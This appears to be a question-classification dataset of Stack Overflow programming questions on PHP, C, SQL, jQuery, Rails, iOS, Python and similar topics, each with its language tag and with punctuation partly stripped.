autoreplaced string  i have format codes in my page and there is one weird problem: when user post text and text contain <strong>%%integer some_text%%</strong> appear a problem -- text replaced as <strong>% some_text%</strong> instead of    <pre><code>&lt;span class= spoiler &gt;integer some_text&lt;/span&gt; </code></pre>   what could it be and how is it treated,php
iso c forbids forward parameter declaration  when i try to compile this code:   <pre><code>#include &lt;stdlib.h&gt; #include &lt;stdio.h&gt;  void decoupesecondes(int* pointeurheures  int* pointeurminutes  int* pointeursecondes);  int main (void){   int sec  min  heu;   scanf( %d %d %d   &amp;heu  &amp;min  &amp;sec);   decoupesecondes(&amp;heu  &amp;min  &amp;sec);   printf( %d heures  %d minutes et %d secondes  heu  min  sec);   return 0;  }  void decoupesecondes(int* pointeurheures  int* pointeurminutes  int* pointeursecondes;){ *pointeurminutes = *pointeursecondes / 60; *pointeursecondes = *pointeursecondes % 60; *pointeurheures = *pointeurminutes/60; *pointeurminutes = *pointeurminutes % 60; } </code></pre>   i got this error: warning: iso c forbids forward parameter declarations [-wpedantic] and i don t understand why.,c
unable to make custom html with angular tags work with select2  i am using angular-ui s ui-select2. i want to add custom html formatting to the selections. select2 allows this by specifying the formatselection in its config.     i have html with angular tags as below that i want to use for formatting the selection-   <pre><code>var format_code = $compile( &lt;div ng-click= showhide=!showhide  class= help-inline &gt;&lt;div style= cursor: pointer;  ng-show= !!showhide  ng-model= workflow.select  class= label &gt;any&lt;/div&gt;&lt;div style= cursor: pointer;  ng-hide= !!showhide  ng-model= workflow.select  class= label &gt;all&lt;/div&gt;&lt;/div&gt; )( $scope );    var format_html =  &lt;span&gt;   + data.n +   :   + data.v +  ng-bind-html-unsafe=format_code +  &lt;/span&gt;   $scope.select_config = {     formatselection: format_html } </code></pre>   if i compile the html as in above and assign it  i just see an [object object] rendered in the browser. if i dont compile it  i see the html rendered properly  but the angular bindings dont happen  ie the clicks dont work.     any ideas what is wrong,angularjs
how i do mysql update of a selected query in same table  <pre><code>update suggest  set  `    post_id`= 5286   where    `post_id`  in   ( select `post_id` from `suggest` where `word` like  %word%  ) </code></pre>,mysql
serving an image file only when a condition is met in php  i want to serve images over http like example.com/images.php id=1234 .but it is subject to conditions (logged in  permissions) etc. if the conditions are true  it would send an appropriate header with the data body and the image data. else  the content of another image is sent.,php
insert now playing song into uilabel  i have trouble with this code:   <pre><code>mpmediaitem *song = [[mpmusicplayercontroller ipodmusicplayer] nowplayingitem]; nsstring *songtitle = [song valueforproperty:mpmediaitempropertytitle]; nsstring *songartist = [song valueforproperty:mpmediaitempropertyartist]; //uiimageview *artwork = [[uiimageview alloc] initwithimage:mpmediaitempropertyartwork]; self.titlelabel.text = self.songtitle; self.artistlabel.text = self.songartist; </code></pre>   it tells me  property not found   !    but in my .h file i have both properties:   <pre><code>@property (nonatomic  retain) iboutlet uilabel *titlelabel; @property (nonatomic  retain) iboutlet uilabel *artistlabel; </code></pre>,ios
better way to access distant cousin in jquery  i have a script working to show hide the next() tbody element when another link is clicked  but it s uuuugly  and i m sure i could do it more efficiently. specifically i dont like using 4 parent() calls! is there a better way to traverse things than that     html:   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt;     &lt;title&gt;pooey long jquery example&lt;/title&gt; &lt;/head&gt; &lt;body&gt;     &lt;table class= thin &gt;         &lt;tbody class= shown_rows &gt;             &lt;tr&gt;                 &lt;td&gt;&lt;span&gt;td1&lt;/span&gt;&lt;/td&gt;                 &lt;td&gt;&lt;span&gt;td2&lt;/span&gt;&lt;/td&gt;                 &lt;td&gt;&lt;span&gt;&lt;a href= #  class= do-thing &gt;show&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;             &lt;/tr&gt;         &lt;/tbody&gt;         &lt;tbody class= hidden_rows &gt;             &lt;tr&gt;                 &lt;td colspan= 7 &gt;&lt;span&gt;temp txt&lt;/span&gt;&lt;/td&gt;             &lt;/tr&gt;         &lt;/tbody&gt;         &lt;tbody class= shown_rows &gt;             &lt;tr&gt;                 &lt;td&gt;&lt;span&gt;td1&lt;/span&gt;&lt;/td&gt;                 &lt;td&gt;&lt;span&gt;td2&lt;/span&gt;&lt;/td&gt;                 &lt;td&gt;&lt;span&gt;&lt;a href= #  class= do-thing &gt;show&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;             &lt;/tr&gt;         &lt;/tbody&gt;         &lt;tbody class= hidden_rows &gt;             &lt;tr&gt;                 &lt;td colspan= 7 &gt;&lt;span&gt;temp txt&lt;/span&gt;&lt;/td&gt;             &lt;/tr&gt;         &lt;/tbody&gt;     &lt;/table&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   css:   <pre><code>table td {border: 1px solid black;padding:2px;} table .shown_rows * span {     width:100px; display:block } </code></pre>   jquery:   <pre><code>$( .hidden_rows ).hide(); $( .do-thing ).click(function(e) {      $(this).parent().parent().parent().parent().next( tbody ).toggle( fast ); }); </code></pre>   jsfiddleydeeee: <a href= http://jsfiddle.net/meredevelopment/pewzh/  rel= nofollow >this example on jsfiddle</a>    any thoughts      (note  i m using spans on purpose  and this is a simplified example for the question only so it looks horrid in ff and ie.,jquery
how to redirect a request  if php module is turned-off in appache  my web pages are written in php. if accidentally the php module is turned off  then the requested page will simply display the source code. as a safety measure  is there any way to redirect the request to a different url (as wanted)  if php module is off. i mean something like:    <strong><em>&lt; ifmodule     !php_module>   ... stop &amp; go to a different place ... things like that. &lt; / ifmodule ></em></strong>,php
how to read html with jquery in data in jquery get method $.get  in jquery statement:   <pre><code>    $.get(someurl  function (data) {             ###         }); </code></pre>   i receiving something like:   <pre><code>&lt;div class= somediv &gt;john smith&lt;/div&gt; </code></pre>   question is: how to jquery read this data html $( div.somediv ).text() in function response where ### is placed     i need to read div text through div class name  because i can have a multiple divs with different class names,jquery
rendering another partial  i am new to rails.i am referring  agile web development with rails . here they are rendering another partial  _line_item  from the partial  _cart  using the syntax:   <pre><code>&lt;%= render(cart.line_items) %&gt; </code></pre>   my question is why use <code>cart</code> and not <code>@cart</code>  what is the difference,ruby-on-rails
select distinct 2 columns and count the # of times it appears on either  i have an example table below:   <pre><code>user1 | status1 | user2 | status2 maria      2      ana        1 elena      2      angela     1 angela     1      ana        2 maria      2      elena      1 elena      1      ana        2 maria      1      akisha     2 elena      1      akisha     2 </code></pre>   i want to count the number of times a name appears in either user1 or user2 where the value is 2 and also count the number of times it appears in either user1 ot user2 with a value of 1.    with the above example the desired result is:   <pre><code>user | statusis2 | statusis1 akisha     2           0 maria      2           1 ana        2           1 elena      1           3 angela     0           2 </code></pre>   as with the above  it is arranged by statusis2 desc  statusis1 asc    thanks in advance for any help.    b,mysql
nested   tag auto-closing/opening  i m seeing some weird behavior around nested <code>&lt;p&gt;</code> tags. see <a href= https://jsbin.com/ripaxe/edit html js output  rel= nofollow noreferrer >this</a> for the test case.    given:   <pre><code>&lt;p&gt;   &lt;p&gt;     &lt;p&gt;       &lt;p&gt;         &lt;p&gt;           &lt;p&gt;           &lt;/p&gt;         &lt;/p&gt;       &lt;/p&gt;     &lt;/p&gt;   &lt;/p&gt; &lt;/p&gt; </code></pre>   in chrome  this results in   <pre><code>&lt;p&gt;   &lt;/p&gt;&lt;p&gt;     &lt;/p&gt;&lt;p&gt;       &lt;/p&gt;&lt;p&gt;         &lt;/p&gt;&lt;p&gt;           &lt;/p&gt;&lt;p&gt;           &lt;/p&gt;         &lt;p&gt;&lt;/p&gt;       &lt;p&gt;&lt;/p&gt;     &lt;p&gt;&lt;/p&gt;   &lt;p&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt; </code></pre>   that is  it closes opening tags and opens closing tags. i ve heard (of course) of  self-closing tags ; i ve never heard of  self-opening tags .    ie11 does it a different (and arguably  even wronger) way:   <pre><code>&lt;p&gt;   &lt;p&gt;     &lt;p&gt;       &lt;p&gt;         &lt;p&gt;           &lt;p&gt;           &lt;/p&gt;         &lt;p&gt;&lt;/p&gt;       &lt;p&gt;&lt;/p&gt;     &lt;p&gt;&lt;/p&gt;   &lt;p&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt; </code></pre>   so it does not auto-close opening tags  but it does auto-open close tags  resulting in an unbalanced dom tree.    anyway  i m curious what the proper path to address this; should i open issues on chrome and ie bug trackers  i m not particularly well versed in the w3c specs  where would i go to try and find the  correct  behavior (i m not aware of any tags apart from <code>&lt;p&gt;</code> that exhibit this behavior  although i haven t done extensive testing)     for what it s worth  i realize nesting <code>&lt;p&gt;</code> tags is invalid; this is a result of a third party library that i am working to address with them  i just found this to be bizarre behavior).    edit: i was wrong about ie: see <a href= https://jsbin.com/ripaxe/5/edit html js output  rel= nofollow noreferrer >https://jsbin.com/ripaxe/5/edit html js output</a>. turns out <code>innerhtml</code> is browser dependent. didn t realize that.,html
order by acting wrong (mysql)  so my problem is the following: i get a list of items out of a mysql database  and i want to sort it with javascript after that (it can be edited dynamically). the main problem are numbers and characters. assuming this is the list in the database:    <code>3  a  2  1  b</code>    the statement would return:    <code>a  b  1  2  3</code>    but i want it to be:    <code>1  2  3  a  b</code>    my database is <code>utf8_unicode_ci</code>  but that doesn t help. it still produces the wrong result. (i can t just check if they are numbers and then sort them to the top because an item could also be named  2some56thing  and has to be before  asome56thing ).,mysql
why primary key take duplicate value  here i creat a simple table    <pre><code>create table xyz(id int name varchar(50) email varchar(50)) </code></pre>   and then i did some alter on xyz table   <pre><code>alter table xyz alter column id int not null alter table xyz alter column name varchar(50) not null </code></pre>   i added primary key on xyz table   <pre><code>alter table xyz add constraint  pk-on_difcolumn primary key (id name) </code></pre>   here both allow dublicate column,sql
pointer reference through function call c++  i got an example function by the form:   <pre><code>vector&lt;int&gt; function(var&amp;){...} </code></pre>   the variable is defined in another .cpp file (if relevant)  and i assume the  var&amp;  is needed so the original value gets overwritten and no copy is made. my problem arises when trying to use that variable. more specifically what i would like to do is use a function specified for that class. (e.g. var.func() )     what i tried (pseudo language):    <pre><code>vector&lt;int&gt; function(var&amp; a){     a.func; } </code></pre>   this does not work since i get an error.  invalid use of incomplete type  class var  . it must have something to do with defining  a .    <pre><code>vector&lt;int&gt; function(var a){     a.func; } </code></pre>   when changing the input  var&amp;  to  var  like above i get the error   a  has incomplete type .     it also notes  forward declaration of  class var   in both cases above.   <pre><code>vector&lt;int&gt; function(var&amp;){     ~some random code without defining a  var&amp; ~  } </code></pre>   this runs perfectly.     in another .cpp file i can just use    <pre><code>var a;  a.func; </code></pre>   i included the header file of the .cpp file (which also declared var a). still thesame errors appear.     what kind of workaround can i use  since the  vector function(var&amp;){...}  is given i don t think i m supposed to change the input type.,c++
http network error  i am new to ruby on rails  i have been building simple rails apps  trying to see how things work  of recent  each time i try <strong>bundle install</strong> if gives me the error below:   <pre><code>$ bundle install --without production  fetching gem metadata from http://rubygems.org/.retrying dependency api due to error  (2/4):bundler::httperror network error while fetching  http://bundler.rubygems.org/api/v1/dependencies  gems=rails%2csqlite3%2csass-rails%2cuglifier%2ccoffe e-rails%2cjquery- rails%2cturbolinks%2cjbuilder%2csdoc%2cbyebug%2cweb-console%2ctzinfo-data  retrying dependency api due to error (3/4): bundler::httperror network error while  fetching http://bundler.rubygems.org/api/v1/dependencies   gems=rails%2csqlite3%2csass-rails%2cuglifier%2ccoffee-rails%2cjquery-rails%2cturbolinks% 2cjbuilder%2csdoc%2cbyebug%2cweb-console%2ctzinfo-data retrying dependency api due to error  (4/4): bundler::httperror network error while fetching http://bundler.rubygems.org/                                                                        api/v1/dependencies gems=rails%2csqlite3%2csass-rails%2cuglifier%2ccoffee-rails %2cjquery-rails%2cturbolinks%2cjbuilder%2csdoc%2cbyebug%2cweb-console%2ctzinfo-data  retrying fetcher due to error (2/4): bundler::httperror could not fetch     specs from http://rubygems.org/  retrying fetcher due to error (3/4): bundler::httperror could not fetch specs from http://rubygems.org/  retrying fetcher due to error (4/4): bundler::httperror could not fetch specs from http://rubygems.org/  could not fetch specs from http://rubygems.org/ </code></pre>   i have an active internet connection so that i think is not the problem. i have also checked <code>https://status.rubygems.org/</code> and it shows <strong>all systems is operational</strong>. i have been battling with this problem for more than a week now trying to fix the problem with the help of online resource  but to no avail  please any one should help me it s really frustrating.,ruby-on-rails
the return value of function returning long long unsigned int is incorrect  when i call function <code>wordtoint(c)</code> from main  the return value is different from what it s printing inside the function.   <pre><code>main() {     long long  unsigned item;     char c[6] =  abcde ;     item = wordtoint(c);     printf( main  the item is :%llu\n  item); }  long long unsigned wordtoint(char *c) {     long long unsigned int k item=0;     int i len;     int j p=0;     len = (int) strlen(c);      for(i = len-1;i&gt;=0;i--)     {         if(c[i] ==  c )             j = 42;         else if(c[i] ==  * )             j = 99;         else             j = (int) c[i];         j = j%100;         k = pow(100 p);         p++;         item = item + (j*k);     }      printf( function item is :%llu\n  item);     return item; } </code></pre>   the output of the program is:   <pre><code>function item is :6566676869 main  the item is :18446744071686293893 </code></pre>   can anyone tell me why there is inconsistency in the output,c
how to use didselctrowatindexpath in multipletableview in ios  <pre><code>- (void) tableview:(uitableview *)tableview didselectrowatindexpath(nsindexpath *)indexpath  {     nslog(@ %@   indexpath);     nslog(@ %@   cell.textlabel.text);  } </code></pre>   but in case of multiple tableview i can t get select table cell for table 1:   <pre><code>- (void) tableview:(uitableview *)tableview didselectrowatindexpath(nsindexpath *)indexpath    {      if(tableview==table1)           nslog(@ %@   cell.textlabel.text);    }    if(tableview==table2)    {        nslog(@ %@   cell.textlabel.text);    } } </code></pre>,ios
how do i call method of active mdichild form from mdi parent form  i have mdi parent with split container control. i divided into two panels.    panel 1 contains child form and panel 2 contains some buttons like save  delete and update.    panel 1 can be loaded with some child forms. i want to call methods of active child form in panel 1 when save button is clicked.,c#
an sql query to find users with common tags in a defined set <pre><code>amydeshane  0.180751    games amydeshane  0.178772    video </code></pre>   i need a query that finds instances like this  where the user has more than 1 tag from a set.    for instance <code>where category in ( games   video   flash )</code>    i want that the more tags that are in common with the set  the higher they are ranked. for instance  amydeshane  should have <code>matching_terms = 2</code>    any ideas     right now this is my query  but it is not giving me the results i need because i want that  amydeshane  is ranked higher as it contains more tags matching   <pre><code>select        top (10) username  tfidf as totalused from            userinfo where        (category in ( video    graphics    editor    games    youtube )) group by username  tfidf having        (count(username) &gt; 1) order by totalused desc </code></pre>   these are the results:   <pre><code>kingjames23 0.626885 f_david 0.406635 bjhscomputers   0.401741 jaw6    0.347777 lkw5151604  0.257147 anniemalahus    0.242461 opusfluke   0.240047 pporto  0.235550 amydeshane  0.180751 amydeshane  0.178772 </code></pre>,sql
how can i restart my java program based on user input   i m writing a program used to calculate the total sales of employees in a small business  and am trying to figure out how to restart the program based on a user input of y/n. i know that loops are what i need to use here  but need a push in the right direction.     code:   <pre><code>import java.util.scanner; public class calcmain {     public static void main(string[]args){         double totalpay = 0  itemone = 239.99  itemtwo = 129.75  itemthree =  99.95  itemfour = 350.89  commission;     int weeklybonus = 200  numsold;     string employee1  employee2  employee3  employee4  yn;       scanner kb = new scanner(system.in);     system.out.println( please enter the salesperson s name:  );     employee1 = kb.nextline();      system.out.println( please enter the number of item 1 sold:  );     numsold = kb.nextint();     totalpay += (itemone * numsold);      system.out.println( please enter the number of item 2 sold:  );     numsold = kb.nextint();     totalpay += (itemtwo * numsold);      system.out.println( please enter the number of item 3 sold:  );     numsold = kb.nextint();     totalpay += (itemthree * numsold);      system.out.println( please enter the number of item 4 sold:  );     numsold = kb.nextint();     totalpay += (itemfour * numsold);      system.out.println( the total weekly earnings for   +employee1+   are:   +totalpay);      system.out.println( would you like to input the sales of another employee  (y/n) );     yn = kb.next();    } </code></pre>   },java
business object to multiple tables  i want to try custom code  this is for my uni project. what if i have tables - <strong>usercar</strong>  <strong>carmake</strong>  and <strong>carmodel</strong>.    <pre><code>usercar - userid  carid  carmakeid  carmodelid  carmake - carmakeid  makename  carmodel - carmodelid  modelname  </code></pre>   so i want to display on the page user car  using 3 layer architecture. so how do i map this tables    to business object or objects    could you help me please,asp.net
how to get this class to work on python  <pre><code>class temperature:     def __init__(self  temperature):            gets temperature from user                self.__temperature = temperature      def abovefreezing(self):            returns true if temperature above freezing point            raise notimplementederror( method abovefreezing not implemented )      def converttofahren(self):            returns a new temperature object converted to degrees fahrenheit            raise notimplementederror( method converttofahren not implemented )      def converttocelsius(self):            returns a new temperature object converted to degrees celsius            raise notimplementederror( method converttocelsius not implemented )      def converttokelvin(self):            returns a new temperature object converted to degrees kelvin            raise notimplementederror( method converttokelvin not implemented )  class kelvin(temperature):      def __init__(self  temperature):         temperature.__init__(self temperature)      def __str__(self):            returns string of temperature            return self.__temperature +  degrees kelvin.       def abovefreezing(self):            returns true if temperature above freezing point            if self.__temperature &gt; 273.15:             return true         else:             return false       def converttofahren(self):            returns a copy kevin to fahren            return ((self.__temperature * 9/5) - 459.67)      def converttocelsius(self):            returns conversion from kelvin to celsius            return self.__temperature - 273.15      def converttokelvin(self):            returns copy of kelvin            return self.__temperature  </code></pre>   i try to run the kelvin class so i try:    <pre><code>t1 = kelvin(33) print(t1) </code></pre>   but it tells me that:    <pre><code>    return self.__temperature +  degrees kelvin.  attributeerror:  kelvin  object has no attribute  _kelvin__temperature  </code></pre>   i m new to classes. i think it is because i have an error in:   <pre><code>def __init__(self  temperature):     temperature.__init__(self temperature) </code></pre>   so if this is the problem  how do i get the kelvin class to have the value of temperature  i have to make kelvin a subclass of temperature. if i didn t have to do that i know i could do: self.__temperature = temperature    but how i assign the temperature from the temperature class to the subclass kelvin,python
seeking the simplest way to have a textview s text colored in diffrent colors  i want to have some of the string that is shown by a text view to be red  and some black  how can i do that      is there a way to mention it simply on the xml file  (strings.xml),android
sql joining two tables via large id number  i have two tables which look like this   <pre><code>value   entryid 0200    43300008191907010611241000917561326051  value   entryid test    43300008191907010611241000917561326051 </code></pre>   i want to join them via inner join over the entryid number  but even though it is a nvarchar  the join does not work (i get nothing as result  my new table is empty). why    <pre><code>select * from #t_tablea as a inner join #t_tableb as b on a.entryid = b.entryid </code></pre>,sql
how is it possible to place picture on a page diagonally  so that the picture would remind a shape of a diamond   how is it possible to place picture on a page  but not vertically or horizontally  but diagonally  so that the picture would remind a shape of a diamond     is it possible in html at all,html
creating a script on notepad and test it on cmd to attach or detach a database in mysql   i have no programming experience  i need an example how to attach or detach a database  so far i have come to this    <pre><code>cd /d  c:\program files\mysql\mysql server 5.6\bin  mysql -uroot -p1234 -e  show databases;   pause </code></pre>   how do i make this script to attach or detach a database. i need 2 scripts  and there are no examples anywhere  usually i know the command but it is for sql not mysql and i get syntax error.    could someone write down an example for this so i can use it     after your advise  ............................... i am not sure what kind of table engine is ... i am using virtual machine that is running on windows server 2012 r2  and im writing the code on the notepad that is on the operating system on that virtual machine ... how can i define if im using myisam or innodb      okey i am on  mysql> and i type  mysql>mysql dump -uroot -p1234 sakila>remy.sql  and it goes to the next row and shows ->,mysql
separating string to multiple integers  please  how i can convert this:   <pre><code>char infix[] =  123+354*87/156=  (can be variable) </code></pre>   how to separate number s from this string (to integers  like 123 354 87 156  no to 1 2 3 3 5 4...) and char (chars + * / ).,c
how to extract the lines containing the letters into an array from a text file   i would like to know how to extract the names (letters) from a text file and put it into an array. the text file is a  booklist ; it contains names of books and reference numbers and i would like to extract the names of the books into an array. i know how to do the reference numbers but not the book names. if there s anyone can help me  i would appreciate it.    here s the text file: <a href= https://www.dropbox.com/s/ayinnc83poulhv7/booklist.txt dl=0  rel= nofollow noreferrer >https://www.dropbox.com/s/ayinnc83poulhv7/booklist.txt dl=0</a>   <pre><code>the adventures of tom sawyer 2 huckleberry finn 4 the sword in the stone 6 stuart little 10 treasure island 12 the secret garden 14 alice s adventures in wonderland 20 twenty thousand leagues under the sea 24 peter pan 26 charlotte s web 31 a little princess 32 little women 33 black beauty 35 the merry adventures of robin hood 40 robinson crusoe 46 anne of green gables 50 little house in the big woods 52 swiss family robinson 54 the lion  the witch and the wardrobe 56 heidi 66 a winkle in time 100 mary poppins </code></pre>   this is my current code:   <pre><code>number_list = [] #put reference number into arrays with open( booklist.txt   r ) as fp:     line_list = fp.readlines()     for line in line_list:         line = line.rstrip()         try:             number_list.append(int(line))         except:             pass print(number_list) </code></pre>   output:   <pre><code>[2  4  6  10  12  14  20  24  26  31  32  33  35  40  46  50  52  54  56  66  100] </code></pre>   but i also want it to put the name of the books into an array too; separately from the first array as shown above.,python
how to control respond_to based on variable in rails controller  <h2>the dilemma</h2>   i m using a <code>before_filter</code> in my controller that restricts access to admins. however  i want to allow access public access to some methods based on request <code>format</code>. see the <code>index</code> method to understand what i m talking about.   <h2>application_controller.rb</h2>  <pre><code>class applicationcontroller &lt; actioncontroller::base    # ...    def current_user     @current_user ||= user.find_by_id(session[:user])   end    def superuser_required     redirect_to login_path unless current_user.superuser    end   end </code></pre>  <h2>items_controller.rb</h2>  <pre><code>class itemscontroller &lt; applicationcontroller    before_filter :superuser_required   layout  superuser     def index     @items = item.all     respond_to do |format|       format.html       format.js # i want public to have access to this     end   end    def show     @item = item.find(params[:id])     respond_to do |format|       format.html     end   end    def new     @item = item.new     respond_to do |format|       format.html     end   end    # remaining controller methods   # ...  end </code></pre>,ruby-on-rails
my application crash when its first time debugging in simulator and device too afterward while debugging its work fine as i wanted  while first time debugging i got this error in console and crashed    <em>*</em> -[nspathstore2 release]: message sent to deallocated instance 0x7052210,iphone
reading from queue delivers always wrong value  here is my problem:    i m using freertos with the cortex-m3 mcu. i have an isr called exti15_10  which is trigger during a rising edge on the pins exti_line10  exti_line11..etc. within the isr i set the variable  status  to some specified value and before leaving the isr i put the variable status in a queue and send it to my thread. that works fine.    the thread is periodically called and calls the function <code>xqueuepeek()</code> to get the item from the queue. note <code>xqueuepeek()</code> gets the item from the queue without removing it from the queue. this works fine too  but i only receive the correct value once. that means  the interrupt is generated  status is set to a value and put in the queue  threads reads the correct value. but all the next interrupts set status correctly(i checked it before putting the item in the queue)  but my thread reads always the old value. do i have here a problem with compiler optimization and volatile  <code>xqueuesendfromisr()</code>  expects as second argument a const void * and not volatile void *. what i m doing wrong here     the isr:   <pre><code>void exti15_10_irqhandler() {        portbase_type xhigherprioritytaskwoken = pdfalse;     int status;      if (exti_getitstatus(exti_line10))         status = 100;     else if (exti_getitstatus(exti_line11))         status = 200     else if (exti_getitstatus(exti_line12))         status = 300;     else if (exti_getitstatus(exti_line13))         status = 400;     else if (exti_getitstatus(exti_line14))         status = 500;     else if (exti_getitstatus(exti_line15))         status = 600;      // clear the pending interrupt bits     exti_clearitpendingbit(exti_lines15_10);      xqueuesendfromisr(queue  &amp;status  &amp;xhigherprioritytaskwoken);     portend_switching_isr(xhigherprioritytaskwoken); } </code></pre>   the thread:   <pre><code>static void thread_xy() {     portticktype xlastexecutiontime;      xlastexecutiontime = xtaskgettickcount();     int status_from_queue = 0;      for (;;) {         xlastexecutiontime = xtaskgettickcount();         vtaskdelayuntil(&amp;xlastexecutiontime  check_and_enable_leds_delay);          if (queue != 0) {             if (xqueuepeek(queue  &amp;status_from_queue  portmax_delay))                 // received item from queue...                 print( status from queue = %d\n   status_from_queue);         }     } } </code></pre>,c
how can i create a mutable array in one class that i can access in a different class   in stephen kochan’s programming in objective-c 6th edition  he says you can create a pointer to an array  but i am getting xcode errors. my desire is to create a mutable array in one class but be able to access it in a different class. here is my simplified code where i create the array then try to get set the pointer to it and then return the value:   <pre><code>-(nsuinteger) makearray {     nsarray *members = [nsarray arraywithobjects:@ keith   nil];     nsuinteger *membersptr;     membersptr = members;     return *monthnamesptr; } </code></pre>   i’m getting two errors in the 3rd line (<code>membersptr = members;</code> - this is right from the book so i think the rules have changed since the book was written).  the errors are:   <blockquote>    implicit  conversion of an objective-c  pointer to ‘nsuinteger ’ (aka ‘unsigned long *’) is disallowed with arc        incompatible pointer types assigning to ‘nsuinteger *’ (aka unsigned long *’) from nsarray *_strong’  </blockquote>,objective-c
how to get directions from google map   i want to develop an application which gives directions in text format from source to destination using google map.please give me some example which gives direction from source to destination in text format(ie in english language)eg:turn right from xxx. thanx in advance.,objective-c
using ng-if inside ng-options to filter null results  i m trying to filter out  null  results from a select dropdown list. until now i was using just regular html <code>&lt;select&gt;</code> + <code>&lt;option&gt;</code> with <code>ng-repeat</code> and excluding null result this way:   <pre><code>&lt;option ng-repeat= person in showcase.persons  ng-if= person.profiles &gt; {{person.profiles}} &lt;/option&gt; </code></pre>   this way i could get a list without empty/null  user profile . now i started using <code>ng-options</code> instead because the list includes arrays with objects  but i can t get the null results out - ..when i m using <code>ng-if</code> the whole <code>&lt;select&gt;</code> disappears :   <pre><code>&lt;select ng-model= profile_filter  ng-options= person.profiles for person in persons    ng-if= person.profiles &gt; &lt;/select&gt; </code></pre>   my priority was doing it inline and not in my controller because there s many <code>&lt;select&gt;</code> objects in the page  and some do require the  null  results to show. i know  it s a very basic question  but still it got me stuck for the last 2 hours. thanks.,angularjs
nsstring (pointer/non pointer) assign or retain  i have four variations of the same class.    a mix of pointer  non-pointer  assign vs copy.    what are the implications of using each case     1)   <pre> @interface fruit:nsobject{ nsstring apple; } @property(nonatomic  retain); @end </pre>   2)   <pre> @interface fruit:nsobject{ nsstring apple; } @property(nonatomic  assign); @end </pre>   3)   <pre> @interface fruit:nsobject{ nsstring *apple; } @property(nonatomic  retain); @end </pre>   4)   <pre> @interface fruit:nsobject{ nsstring *apple; } @property(nonatomic  assign); @end </pre>,objective-c
jquery wildcard replace url  i need to replace this url    http:///prod/ap4s/appleproducts/iphone/4s    with     http:///prods.aspx prod_id=ap4s    taking productid  ap4s  from existing url and passing it as querystring.   <pre><code>( a ).each(function(){    $(this).attr( href )    &lt;--- modify href here..  } </code></pre>   i dont see replace to be of much help here. so looking for some better alternative or some suggestions to go ahead in right direction...,jquery
python input parameters getting added  how do you add prompt parameter in the input function for python    <pre><code>def getuserfilenameinput(self  s):     filename = input( please enter the file name and path for   % s)  test = t() test.getuserfilenameinput( my.txt ) </code></pre>   <strong>my current error :</strong>   <pre><code>file  c:\python34\try.py   line 13  in getuserfilenameinput filename = input( please enter the file name and path for   % s) typeerror: not all arguments converted during string formatting </code></pre>,python
how to tell “union all” which table to actually select   in a table  if i have a “table_id” column  and an “entity_id” column  how do i express “select * from (select table from all_tables where table_id =  ) where key = entity_id”     this question is already <a href= https://stackoverflow.com/questions/44799897/select-table-to-select-from-dependent-on-column-value-of-already-given-table  title= answered >answered</a>  but it’s not efficient <em>for our use-case</em>:    the problem i have with the answer above is that we will have hundreds of tables (types)  and the key can only ever be (once) in a single table. can i somehow modify the “union all” such that it uses the “type_id” to optimize away all selects that cannot possibly contain the key  what if i define a view for each table  that adds a constant “table id” column to each table  would that be enough to  optimize away  all selects but one     why do this  because we already have above <em>2m loc</em> that assumes this data model! please read on:    we currently use an oodbms  which is now „deprecated“. we have deep a inheritance hierarchy of entities (everything extends the same base entity)  and the oodbms lets use mix freely „serialised objects“ with entities  and sorts out automatically that entity references are replaced with „handles“ when serialising. it offers a single “key space” for all entities  and supports accessing multiple dbs in a single transaction  by putting the “db id” (16-bits) into the entity id (64-bits). all you need to do to define a new entity is extend an existing entity class  and possibly specify some fields as “indexed”. fields can also be freely added or removed from existing entity types. in short  it “just works” and it’s extremely convenient compared to using an orm.    we should now replace our db (because it’s deprecated)  and “from the top” comes the order that “all new projects shall use postgresql”. our model is a terrible fit for an orm api  so i am considering alternatives that match our existing data model. my current plan is to use one table per concrete type  and no explicit foreign key definition (we had none before; we only got an exception when “resolving” a bad entity id). the “entity id” would be replaced with one “smallint” db-id  one “smallint” table-id (type-id)  and an “integer” as entity-id within that type/table (most entities “last for ever”  and if ever we created more than 4b entities of the same type  we would just use a second type-id and table for the same type). with such a model we could keep our codebase relatively unchanged.,sql
apply css to li on click without jquery or javascript  here is my html code   <pre><code>&lt;div id= menus &gt;     &lt;ul&gt;         &lt;li&gt;&lt;a href= homepage.html &gt;home&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= # &gt;users&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= # &gt;project manage&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= # &gt;transaction&lt;/a&gt;&lt;/li&gt;         &lt;li style= border-right:none; &gt;&lt;a href= # &gt;logout&lt;/a&gt;&lt;/li&gt;     &lt;/ul&gt; &lt;/div&gt; </code></pre>   here is my css   <pre><code>#menus li {     float:left;     list-style-type: none;     padding-left: 25px;     padding-right: 25px;     border-right:groove 1px #ffffff;     background: #666666; }  #menus li:hover {     background: #999999; }  #menus li a {     font-size:24px;     text-decoration:none;     color:#ffffff; }  #menus li a:hover {     color:#000000; } </code></pre>   now i want to change css when user click on li (like display current selected). can i do this using css only   if yes then how      thanks in advance..,css
jquery 2.2.0 loading twice and throws error  javascript runtime error: object doesn t support property or method  dialog     i m registering jquery from global.asax  something like this -   <pre><code> string jqueryver =  2.2.0 ;             scriptmanager.scriptresourcemapping.adddefinition( jquery   new scriptresourcedefinition             {                 path =  ~/scripts/jquery-  + jqueryver +  .min.js                   debugpath =  ~/scripts/jquery-  + jqueryver +  .js                   cdnpath =  http://ajax.aspnetcdn.com/ajax/jquery/jquery-  + jqueryver +  .min.js                   cdndebugpath =  http://ajax.aspnetcdn.com/ajax/jquery/jquery-  + jqueryver +  .js                   cdnsupportssecureconnection = true                  loadsuccessexpression =  window.jquery              }); </code></pre>   this code works fine for all pages except one. i tried looking  whether jquery is registered twice but that is not the case. strangely  if i remove range validator from the page(that throws error)  jquery is not registering twice.    i want to know the possible reason for this scenario. also  how can i check from the global.asax that  load jquery only if it does not exists      looking forward for help! thanks in advance.,jquery
